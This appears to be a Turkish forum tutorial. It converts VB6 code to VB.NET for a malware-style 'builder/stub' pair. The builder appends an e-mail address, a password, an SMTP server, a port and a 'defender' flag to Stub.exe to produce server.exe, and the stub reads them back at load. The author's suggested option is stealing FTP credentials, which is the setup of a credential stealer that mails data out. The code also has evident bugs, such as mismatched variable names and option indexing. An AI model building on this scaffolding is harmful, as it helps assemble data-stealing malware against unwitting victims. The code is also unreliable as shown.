Hayırlı sabahlar bugün sizlere geçmişte paylaştığım konulara bir yenisini eklemeye karar verdim. Bu sefer Visual Basic 6 dilinde yer alan eski bir kodu vb.net koduna çevirdim. Kodumuz binary modunda değişken okuma-yazma yapıyor. Hep beraber bakalım.
Not: Ufak tefek hata var onları çözemedim. Bunun dışında çalışıyor. Mesela checkbox'ları farklı işaretliyor text4 ibaresinin içerisinde True yazıyor. Siz değerli üyelerin takdirine bırakıyorum...
İlk önce builder ile başlayalım. 4 adet Textbox ekleyelim. Bunlar bizim örnek konumuzda mail, şifre, hata mesajı gibi işlevlere yarayan textbox'lar olacak. Bir adet buton koyalım bu da oluştur butonumuz. Sonra da bir adet Checkbox koyalım bu da herhangi bir özellik konusunda bize opsiyonel seçenekler vermiş olsun. Örneğin FTP bilgilerini çal.
Kodlarımıza geçelim;
Eklememiz gereken kütüphane;
Imports System.Management
Imports System.Text
Imports System.IO
Public Class kodu altına eklememiz gereken değişkenler;
Dim stub, text1, text2, text3, text4 As String
Dim cb As Boolean Dim cb1 As Boolean
Const FileSplit = "@Yusuf@"
Buton içerisine yazacağım kod;
text1 = TextBox1.Text
text2 = TextBox2.Text
text3 = TextBox3.Text
text4 = TextBox4.Text
If CheckBox1.Checked = True Then
b = True
Else : cb = False
End If
If CheckBox2.Checked = True Then
cb1 = True
Else : cb1 = False
End If
FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
stub = Space(LOF(1))
FileGet(1, stub)
FileClose(1)
If File.Exists("/Server.exe") Then
My.Computer.FileSystem.DeleteFile("/Server.exe")
End If
FileOpen(1, Application.StartupPath & "\server.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(1, stub & FileSplit & text1 & FileSplit & text2 & FileSplit & text3 & FileSplit & text4 & cb & FileSplit & cb1 & FileSplit)
FileClose(1)
MsgBox("Server oluştu!", MsgBoxStyle.Information, "Başarılı!")
Şimdi ise Server oluşumuna bakalım. Burada da konu başında koymuş olduğumuz 4 textbox, 1 checkbox'u ekleyelim. Bunlar builder'da vermiş olduğum değişkenleri okuyacak ve tıklayınca aynısını gösterecek. Konu sonunda yazmış olduğumuz kodu derleyelim ve derlenmiş olan iki ögeyi aynı klasör içerisinde test edelim. Bu arada server kısmının derlenmiş olan "exe" adını "Stub" olarak değiştirelim. Siz bunu geliştireceğiniz zaman form üzerinde oluşturmuş olduğunuz Save ve Open File Dialog ögelerine bağlayabilirsiniz ki bağlarsanız daha iyi olur ben burada en basit mantıkta anlatıyorum. Kodlara geçelim;
Ekleyeceğimiz kütüphaneler;
Imports System.IO
Imports System.Net
Imports Microsoft.Win32
Imports System.Text
Public Class kodunun altına okunacak olan değişkenler;
Dim options(), text1, text2, text3, text4, cb, cb1 As String
Const FileSplit = "@Yusuf@"
Not; Bu arada bunlar örnektir siz ne kadar özellik ve değişken eklerseniz o kadar arttırınız. Burada dikkat edilmesi gereken bir hususta options() ibaresi parantez içerisine ne kadar özellik eklerseniz o kadar kod içerisinde arttırmanız gerekiyor. Benim size vermiş olduğum örnek kodda 6 tane var options(6) 'ya kadar ilerlettim.
Form Load Olayına aşağıdaki kodu ekleyelim;
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
text1 = Space(LOF(1))
text2 = Space(LOF(1))
text3 = Space(LOF(1))
text4 = Space(LOF(1))
cb = Space(LOF(1))
cb1 = Space(LOF(1))
FileGet(1, text1) 'options(1) - E-mail
FileGet(1, text2) 'options(2) - E-mail Şifre
FileGet(1, text3) 'options(3) - SMTP adres
FileGet(1, text4) 'options(4) - Port
FileGet(1, cb) 'options(5) - defender
FileGet(1, cb1) 'options(6)
FileClose(1)
options = Split(text1, FileSplit)
TextBox1.Text = options(1)
TextBox2.Text = options(2)
TextBox3.Text = options(3)
TextBox4.Text = options(4)
If options(5) = True Then
CheckBox1.Checked = True
Else
End If
If options(6) = False Then
Else
CheckBox2.Checked = True
End If